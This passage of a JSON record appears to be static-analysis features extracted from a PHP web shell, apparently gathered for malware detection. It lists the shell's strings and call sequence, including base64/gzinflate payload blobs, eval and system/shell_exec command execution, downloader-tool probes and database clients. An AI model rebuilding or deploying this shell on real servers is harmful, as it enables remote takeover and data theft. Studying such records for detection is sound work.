XP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=", "source.strings[163]": "lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A", "source.strings[164]": "log_errors", "source.strings[165]": "logout", "source.strings[166]": "lwp-download ", "source.strings[167]": "lwp-download --help", "source.strings[168]": "lwp-download --version", "source.strings[169]": "lwpdownload", "source.strings[170]": "lynx --help", "source.strings[171]": "lynx -source ", "source.strings[172]": "lynx -version", "source.strings[173]": "magic_quotes_sybase", "source.strings[174]": "massact", "source.strings[175]": "moveok", "source.strings[176]": "mssql_close", "source.strings[177]": "mssql_connect", "source.strings[178]": "mssql_fetch_row", "source.strings[179]": "mssql_field_name", "source.strings[180]": "mssql_num_fields", "source.strings[181]": "mssql_num_rows", "source.strings[182]": "mssql_query", "source.strings[183]": "mysql_close", "source.strings[184]": "mysql_connect", "source.strings[185]": "mysql_fetch_row", "source.strings[186]": "mysql_field_name", "source.strings[187]": "mysql_num_fields", "source.strings[188]": "mysql_num_rows", "source.strings[189]": "mysql_query", "source.strings[190]": "mysqli", "source.strings[191]": "mysqli_result", "source.strings[192]": "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=", "source.strings[193]": "newfile_1\u0026new=yes", "source.strings[194]": "node -h", "source.strings[195]": "node -v", "source.strings[196]": "nodejs", "source.strings[197]": "nodejs -h", "source.strings[198]": "nodejs -v", "source.strings[199]": "oci_connect", "source.strings[200]": "odbc_connect", "source.strings[201]": "oracle", "source.strings[202]": "passthru", "source.strings[203]": "perl -e ", "source.strings[204]": "perl -e \\\"print \\$]\\", "source.strings[205]": "perl -h", "source.strings[206]": "pg_connect", "source.strings[207]": "posix_getpwuid", "source.strings[208]": "print ", "source.strings[209]": "proc_open", "source.strings[210]": "pt.class", "source.strings[211]": "python", "source.strings[212]": "python -V", "source.strings[213]": "python -h", "source.strings[214]": "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=", "source.strings[215]": "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C", "source.strings[216]": "rawurldecode", "source.strings[217]": "return go(", "source.strings[218]": "ruby -h", "source.strings[219]": "ruby -v", "source.strings[220]": "s_curl", "source.strings[221]": "s_home", "source.strings[222]": "s_java", "source.strings[223]": "s_javac", "source.strings[224]": "s_lwpdownload", "source.strings[225]": "s_lynx", "source.strings[226]": "s_node", "source.strings[227]": "s_nodejs", "source.strings[228]": "s_pass", "source.strings[229]": "s_pass = ", "source.strings[230]": "s_perl", "source.strings[231]": "s_python", "source.strings[232]": "s_ruby", "source.strings[233]": "s_self", "source.strings[234]": "s_wget", "source.strings[235]": "shell_exec", "source.strings[236]": "sqlite", "source.strings[237]": "sqlite3", "source.strings[238]": "sqlite_open", "source.strings[239]": "sqlsrv_close", "source.strings[240]": "sqlsrv_connect", "source.strings[241]": "sqlsrv_fetch_array", "source.strings[242]": "sqlsrv_field_metadata", "source.strings[243]": "sqlsrv_num_fields", "source.strings[244]": "sqlsrv_num_rows", "source.strings[245]": "sqlsrv_query", "source.strings[246]": "str_split", "source.strings[247]": "switch", "source.strings[248]": "system", "source.strings[249]": "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP", "source.strings[250]": "tar --help", "source.strings[251]": "tar --version", "source.strings[252]": "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", "source.strings[253]": "wget --help", "source.strings[254]": "wget --version", "source.strings[255]": "{$s_host_str} user={$s_sqluser} password={$s_sqlpass}", "source.functions[10]": "geol", "source.functions[11]": "get_code", "source.functions[12]": "get_writabledir", "source.functions[13]": "getallfiles", "source.functions[14]": "gp", "source.functions[15]": "gs", "source.functions[16]": "hss", "source.functions[17]": "kript", "source.functions[18]": "notif", "source.functions[19]": "pf", "source.functions[20]": "pl", "source.functions[21]": "rmdirs", "source.functions[22]": "rs", "source.functions[23]": "ru", "source.functions[24]": "showcode", "source.functions[25]": "showdir", "source.functions[26]": "sql_close", "source.functions[27]": "sql_connect", "source.functions[28]": "sql_fetch_data", "source.functions[29]": "sql_field_name", "source.functions[30]": "sql_num_fields", "source.functions[31]": "sql_num_rows", "source.functions[32]": "sql_query", "source.functions[33]": "ss", "source.functions[34]": "str_split", "source.functions[35]": "swd", "source.functions[36]": "ts", "source.functions[37]": "zip" }, "x": 589, "id": 0, "is": [ "ob_start", "set_time_limit", "ini_set", "clearstatcache", "define", "clean", "clean", "clean", "array_merge", "array_map", "error_reporting", "ini_set", "ini_set", "is_array", "print_r", "hss", "error_reporting", "ini_set", "ini_set", "strlen", "trim", "isset", "strtolower", "trim", "strtolower", "trim", "isset", "kript", "strtolower", "trim", "setcookie", "time", "isset", "isset", "isset", "rtrim", "urldecode", "in_array", "is_array", "setcookie", "time", "empty", "header", "empty", "strtolower", "trim", "strtolower", "trim", "isset", "exe", "base64_decode", "isset", "base64_decode", "ob_start", "eval", "ob_get_contents", "ob_end_clean", "isset", "preg_match", "header", "header", "isset", "header", "header", "strtolower", "ini_get", "function_exists", "get_magic_quotes_gpc", "is_array", "is_array", "clean", "empty", "stripslashes", "stripslashes", "str_replace", "file_get_contents", "sha1", "md5", "kript", "fgc", "preg_replace", "file_put_contents", "gzinflate", "base64_decode", "gzinflate", "base64_decode", "ob_get_contents", "ob_end_clean", "ob_start", "eval", "ob_get_contents", "ob_end_clean", "addslashes", "is_dir", "substr", "rtrim", "preg_replace", "explode", "sizeof", "pl", "trim", "htmlspecialchars", "is_array", "array_map", "rawurldecode", "hss", "rawurlencode", "str_replace", "rawurldecode", "gzinflate", "base64_decode", "getcwd", "explode", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "check_access", "exe", "check_access", "exe", "exe", "is_file", "unlink", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "is_file", "exe", "exe", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "is_file", "unlink", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "is_file", "exe", "eval", "is_file", "unlink", "is_file", "unlink", "is_file", "unlink", "is_file", "unlink", "is_file", "unlink", "preg_match", "preg_match", "preg_match", "bin2hex", "floor", "log", "log", "sprintf", "pow", "floor", "filesize", "ts", "fileperms", "is_callable", "ob_start", "system", "ob_get_contents", "ob_end_clean", "empty", "is_callable", "shell_exec", "empty", "is_callable", "exec", "empty", "empty", "is_callable", "ob_start", "passthru", "ob_get_contents", "ob_end_clean", "empty", "is_callable", "proc_open", "getcwd", "is_resource", "fgets", "empty", "fgets", "empty", "proc_close", "empty", "is_callable", "popen", "feof", "fread", "pclose", "empty", "substr", "opendir", "readdir", "is_dir", "rmdirs", "unlink", "closedir", "rmdir", "opendir", "is_dir", "mkdir", "readdir", "is_dir", "copys", "copy", "closedir", "glob", "count", "is_dir", "glob", "is_array", "is_array", "array_merge", "preg_match", "basename", "fgc", "is_file", "unlink", "fopen", "fwrite", "fclose", "is_file", "exe", "is_file", "exe", "is_file", "exe", "is_file", "exe", "is_file", "getenv", "getenv", "getenv", "is_writable", "is_writable", "cp", "extension_loaded", "class_exists", "is_array", "str_replace", "is_dir", "str_replace", "in_array", "substr", "strrpos", "is_dir", "str_replace", "is_file", "str_replace", "fgc", "is_file", "basename", "fgc", "strtolower", "exe", "strpos", "exe", "strtolower", "exe", "strpos", "exe", "strtolower", "exe", "strpos", "exe", "strtolower", "exe", "strpos", "exe", "strtolower", "exe", "strpos", "exe", "strtolower", "exe", "strpos", "exe", "explode", "count", "strtolower", "exe", "strpos", "exe", "explode", "count", "strtolower", "exe", "strpos", "str_replace", "exe", "strtolower", "exe", "strpos", "str_replace", "strtolower", "strpos", "explode", "count", "strtolower", "strpos", "explode", "count", "strtolower", "strpos", "explode", "count", "strtolower", "strpos", "explode", "count", "empty", "opendir", "readdir", "is_dir", "is_file", "closedir", "natcasesort", "natcasesort", "array_merge", "chdir", "cp", "getcwd", "cp", "array_unshift", "chdir", "explode", "sizeof", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "is_dir", "pl", "pl", "pl", "pl", "pl", "pl", "pl", "pl", "pl", "pl", "pl", "pl", "adds", "pl", "cs", "pl", "pl", "pl", "cs", "adds", "adds", "pl", "pl", "cs", "pl", "gs", "filesize", "cs", "pl", "pl", "cs", "adds", "adds", "pl", "pl", "cs", "substr", "md5", "hss", "filemtime", "adds", "gp", "date", "class_exists", "class_exists", "function_exists", "mysql_connect", "function_exists", "sqlsrv_connect", "function_exists", "mssql_connect", "explode", "count", "function_exists", "pg_connect", "function_exists", "oci_connect", "class_exists", "empty", "function_exists", "sqlite_open", "function_exists", "odbc_connect", "class_exists", "empty", "class_exists", "function_exists", "mysql_query", "function_exists", "sqlsrv_query", "function_exists", "mssql_query", "pg_query", "oci_execute", "oci_parse", "sqlite_query", "odbc_exec", "class_exists", "function_exists", "mysql_num_rows", "function_exists", "sqlsrv_num_rows", "function_exists", "mssql_num_rows", "pg_num_rows", "oci_num_rows", "is_array", "sqlite_num_rows", "odbc_num_rows", "class_exists", "function_exists", "mysql_num_fields", "function_exists", "sqlsrv_num_fields", "function_exists", "mssql_num_fields", "pg_num_fields", "oci_num_fields", "sqlite_num_fields", "odbc_num_fields", "class_exists", "function_exists", "mysql_field_name", "function_exists", "sqlsrv_field_metadata", "is_array", "is_array", "function_exists", "mssql_field_name", "pg_field_name", "oci_field_name", "sqlite_field_name", "odbc_field_name", "class_exists", "function_exists", "mysql_fetch_row", "function_exists", "sqlsrv_fetch_array", "function_exists", "mssql_fetch_row", "pg_fetch_row", "oci_fetch_row", "sqlite_fetch_array", "odbc_fetch_array", "class_exists", "function_exists", "mysql_close", "function_exists", "sqlsrv_close", "function_exists", "mssql_close", "pg_close", "oci_close", "sqlite_close", "odbc_close", "function_exists", "strlen", "substr", "isset", "isset", "isset", "setcookie", "time", "basename", "substr", "basename", "strlen", "isset", "strcmp", "setcookie", "time", "setcookie", "time", "strcmp", "isset", "setcookie", "time", "isset", "isset", "setcookie", "time", "setcookie", "time", "setcookie", "time", "setcookie", "time", "isset", "showcode", "isset", "showcode", "getenv", "php_uname", "strtolower", "substr", "function_exists", "isset", "is_dir", "cp", "chdir", "setcookie", "time", "isset", "cp", "cp", "getcwd", "isset", "ss", "is_dir", "cp", "chdir", "cp", "getcwd", "posix_getpwuid", "posix_geteuid", "isset", "get_current_user", "gethostbyname", "isset", "isset", "explode", "check_access", "setcookie", "time", "isset", "ob_end_clean", "fgc", "header", "header", "strlen", "header", "basename", "isset", "isset", "isset", "rtrim", "ss", "explode", "empty", "rename", "basename", "notif", "notif", "is_dir", "copys", "basename", "file_exists", "basename", "is_file", "copy", "basename", "file_exists", "basename", "notif", "notif", "is_file", "unlink", "is_dir", "rmdirs", "file_exists", "notif", "notif", "isset", "octdec", "chmod", "notif", "decoct", "notif", "isset", "strtotime", "touch", "notif", "date", "notif", "isset", "zip", "notif", "hss", "notif", "isset", "basename", "array_map", "array_map", "implode", "is_file", "notif", "hss", "notif", "basename", "array_map", "array_map", "implode", "is_file", "notif", "hss", "notif", "basename", "is_dir", "mkdir", "notif", "hss", "notif", "notif", "basename", "is_dir", "mkdir", "basename", "strpos", "strtolower", "basename", "strpos", "strtolower", "basename", "is_dir", "mkdir", "basename", "setcookie", "time", "setcookie", "time", "rtrim", "ss", "explode", "empty", "notif", "notif", "notif", "notif", "notif", "notif", "notif", "notif", "notif", "date", "time", "notif", "notif", "hss", "notif", "notif", "hss", "hss", "hss", "substr", "md5", "time", "hss", "substr", "md5", "time", "hss", "substr", "md5", "time", "ob_end_clean", "getimagesize", "explode", "count", "header", "header", "header", "date", "mktime", "header", "readfile", "is_dir", "rename", "is_file", "rename", "empty", "trim", "basename", "pl", "empty", "is_file", "unlink", "is_dir", "rmdirs", "is_dir", "empty", "is_dir", "strrpos", "substr", "is_dir", "substr", "substr", "mkdir", "get_writabledir", "strtolower", "ob_start", "eval", "ob_get_contents", "ob_end_clean", "strtolower", "strtolower", "strtolower", "strtolower", "strtolower", "md5", "time", "rand", "file_put_contents", "unlink", "strtolower", "md5", "time", "rand", "chdir", "file_put_contents", "rename", "unlink", "unlink", "chdir", "strtolower", "preg_match", "trim", "substr", "md5", "time", "rand", "chdir", "file_put_contents", "unlink", "unlink", "chdir", "explode", "empty", "hss", "hss", "hss", "empty", "empty", "empty", "function_exists", "getallfiles", "array_filter", "array_filter", "empty", "preg_match", "basename", "array_diff", "preg_match", "basename", "array_diff", "strpos", "strtolower", "basename", "strtolower", "array_diff", "strpos", "basename", "array_diff", "empty", "preg_match", "basename", "array_diff", "preg_match", "basename", "array_diff", "strpos", "basename", "array_diff", "strpos", "basename", "array_diff", "empty", "fgc", "preg_match", "array_diff", "preg_match", "array_diff", "strpos", "array_diff", "strpos", "array_diff", "trim", "is_writable", "is_readable", "is_executable", "pl", "pl", "cp", "adds", "is_dir", "hss", "hss", "hss", "hss", "count", "empty", "is_uploaded_file", "cp", "is_dir", "mkdir", "trim", "cp", "move_uploaded_file", "pl", "count", "empty", "cp", "is_dir", "mkdir", "basename", "trim", "cp", "dlfile", "pl", "is_writable", "empty", "hss", "hss", "trim", "dirname", "chdir", "cp", "getcwd", "setcookie", "time", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "basename", "cs", "cs", "hss", "hss", "hss", "cs", "cs", "gs", "filesize", "gp", "date", "filectime", "date", "filemtime", "date", "fileatime", "pl", "pl", "cs", "cs", "pl", "gzinflate", "base64_decode", "strrpos", "trim", "substr", "preg_match", "getimagesize", "substr", "is_array", "empty", "substr", "strpos", "wordwrap", "fgc", "highlight_string", "str_replace", "hss", "hss", "hss", "str_replace", "str_replace", "wordwrap", "fgc", "is_dir", "chdir", "cp", "getcwd", "setcookie", "time", "showdir", "strrpos", "substr", "substr", "substr", "fgc", "pack", "geol", "pack", "str_replace", "fopen", "date", "time", "fwrite", "fclose", "is_writable", "geol", "empty", "hss", "hss", "str_replace", "trim", "fopen", "pack", "date", "time", "fwrite", "fclose", "is_writable", "hss", "fopen", "feof", "fread", "strtoupper", "bin2hex", "str_split", "implode", "sprintf", "strlen", "fclose", "range", "is_dir", "is_readable", "ts", "disk_free_space", "ts", "disk_total_space", "ts", "disk_free_space", "ts", "disk_total_space", "phpversion", "explode", "is_readable", "trim", "fgc", "explode", "trim", "explode", "trim", "explode", "count", "trim", "fgc", "explode", "trim", "explode", "count", "trim", "fgc", "preg_replace", "explode", "explode", "explode", "explode", "trim", "ob_start", "eval", "ob_get_contents", "ob_end_clean", "preg_match", "str_replace", "setcookie", "time", "function_exists", "function_exists", "json_decode", "unserialize", "sql_connect", "function_exists", "json_encode", "serialize", "substr", "md5", "time", "rand", "is_array", "array_key_exists", "substr", "md5", "time", "rand", "setcookie", "time", "hss", "explode", "trim", "sql_query", "is_bool", "sql_num_fields", "sql_field_name", "sql_fetch_data", "sql_query", "sql_fetch_data", "sql_query", "sql_fetch_data", "adds", "sql_close", "class_exists", "class_exists", "explode", "array_merge", "is_writable", "explode", "rs", "trim", "explode", "posix_kill", "trim", "preg_replace", "explode", "explode", "count", "trim", "explode", "trim", "trim", "trim", "trim", "substr", "md5", "trim", "trim", "count", "count", "changepass", "strlen", "preg_match", "is_dir", "chdir", "cp", "getcwd", "setcookie", "time", "showdir", "is_dir", "chdir", "cp", "getcwd", "setcookie", "time", "showdir", "showdir", "showdir", "showdir", "range", "is_readable", "date", "time", "swd", "ob_get_contents", "ob_end_clean", "ob_start", "get_code", "cp", "dirname", "realpath", "date", "adds", "adds", "get_code", "ob_get_contents", "ob_end_clean", "preg_replace", "str_replace" ], "ms": { "file": { "size": 197208.0 }, "text": { "tab_count": 2.0, "digit_ratio": 0.1, "space_count": 40748.0, "total_lines": 2623.0, "char_entropy": 5.58, "mixed_indent": true, "unique_chars": 95.0, "import_density": 41.75, "lines_over_200": 64.0, "lines_over_500": 33.0, "string_density": 1.34, "avg_line_length": 74.18, "lines_over_1000": 13.0, "max_line_length": 40328.0, "last_line_length": 4.0, "long_token_count": 19.0, "most_common_char": "s", "whitespace_ratio": 0.22, "most_common_ratio": 0.04, "identifier_density": 1.7, "line_length_stddev": 821.83, "encoded_string_ratio": 0.01, "normalized_import_count": 21.38, "normalized_string_count": 68.5, "repeated_char_sequences": 1399.0, "suspicious_string_ratio": 0.02, "max_inline_whitespace_run": 1.0, "normalized_function_count": 0.74, "trailing_whitespace_lines": 37.0, "imports_to_functions_ratio": 28.82, "strings_to_functions_ratio": 92.32, "suspicious_identifier_ratio": 0.02, "normalized_unique_identifiers": 53.45, "identifiers_to_functions_ratio": 15.97 }, "imports": { "total": 1095.0, "unique_modules": 222.0, "third_party_count": 1095.0, "third_party_ratio": 1.0 }, "strings": { "total": 3508.0, "avg_length": 57.39, "max_length": 40316.0, "path_count": 